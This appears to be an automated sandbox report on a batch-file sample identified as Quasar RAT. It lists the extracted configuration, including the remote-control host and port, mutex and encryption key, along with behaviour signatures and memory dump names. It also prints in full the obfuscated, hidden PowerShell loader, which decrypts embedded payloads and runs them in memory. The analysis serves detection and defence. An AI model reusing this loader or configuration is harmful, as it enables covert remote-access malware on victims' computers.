Analysis
- max time kernel
146s - max time network
148s - platform
windows10-1703_x64 - resource
win10-20240404-en - resource tags
- submitted
29/06/2024, 00:03
General
- Target Neo.bat
- Size 272KB
- Sample240629-acemsawbla
- SHA256 f8310b9b5ae9c3f90b01d84c8022b6fdd7bbd29ba56a600d948be6eff75d426f
Malware Config
Extracted
-
quasar
-
1.1.0
-
Slave
-
runderscore00-42512.portmap.io:42512
-
QSR_MUTEX_aYgVTolyJfnSo2kPQj
-
encryption_key
PK7SpR1WESSqHBwmTfVi
-
install_name
Client.exe
-
log_directory
Logs
-
reconnect_delay
3000
-
startup_key
Quasar Client Startup
-
subdirectory
SubDir
Signatures
- Quasar RAT
Quasar is an open source Remote Access Tool.
- Quasar payload 1 IoCs
- Blocklisted process makes network request 29 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Suspicious behavior: EnumeratesProcesses 3 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Neo.bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('cQOtDanpy2r1fIq2RmiAP3pi2F+wAyCLQ56qZLg4djg='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JbayyMB6uwbPJLlahgTXHQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $gWazs=New-Object System.IO.MemoryStream(,$param_var); $Cqmzr=New-Object System.IO.MemoryStream; $aiCtn=New-Object System.IO.Compression.GZipStream($gWazs, [IO.Compression.CompressionMode]::Decompress); $aiCtn.CopyTo($Cqmzr); $aiCtn.Dispose(); $gWazs.Dispose(); $Cqmzr.Dispose(); $Cqmzr.ToArray();}function execute_function($param_var,$param2_var){ $DGfYx=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $GbNUb=$DGfYx.EntryPoint; $GbNUb.Invoke($null, $param2_var);}$IuUoW = 'C:\Users\Admin\AppData\Local\Temp\Neo.bat';$host.UI.RawUI.WindowTitle = $IuUoW;$RQVpb=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($IuUoW).Split([Environment]::NewLine);foreach ($ykdlx in $RQVpb) { if ($ykdlx.StartsWith(':: ')) { $fedhE=$ykdlx.Substring(3); break; }}$payloads_var=[string[]]$fedhE.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
__PSScriptPolicyTest_tjaeljl4.s5a.ps1
memory/2212-7-0x0000000007F50000-0x0000000007FB6000-memory.dmp
memory/2212-29-0x0000000009440000-0x000000000945A000-memory.dmp
memory/2212-5-0x00000000075E0000-0x0000000007602000-memory.dmp
memory/2212-6-0x0000000007EE0000-0x0000000007F46000-memory.dmp
memory/2212-2-0x00007FFDAA5C0000-0x00007FFDAA79B000-memory.dmp
memory/2212-8-0x0000000007FC0000-0x0000000008310000-memory.dmp
memory/2212-11-0x0000000007800000-0x000000000781C000-memory.dmp
memory/2212-12-0x0000000008870000-0x00000000088BB000-memory.dmp
memory/2212-13-0x0000000008600000-0x0000000008676000-memory.dmp
memory/2212-3-0x0000000004EC0000-0x0000000004EF6000-memory.dmp
memory/2212-4-0x0000000007840000-0x0000000007E68000-memory.dmp
memory/2212-30-0x0000000009460000-0x0000000009468000-memory.dmp
memory/2212-28-0x0000000009EA0000-0x000000000A518000-memory.dmp
memory/2212-31-0x0000000009730000-0x00000000097CC000-memory.dmp
memory/2212-32-0x0000000007210000-0x0000000007244000-memory.dmp
memory/2212-33-0x0000000009830000-0x000000000988E000-memory.dmp
memory/2212-34-0x000000000A520000-0x000000000AA1E000-memory.dmp
memory/2212-35-0x00000000099D0000-0x0000000009A62000-memory.dmp
memory/2212-36-0x0000000009960000-0x0000000009972000-memory.dmp
memory/2212-37-0x0000000009D80000-0x0000000009DBE000-memory.dmp
memory/2212-41-0x000000000AA70000-0x000000000AA7A000-memory.dmp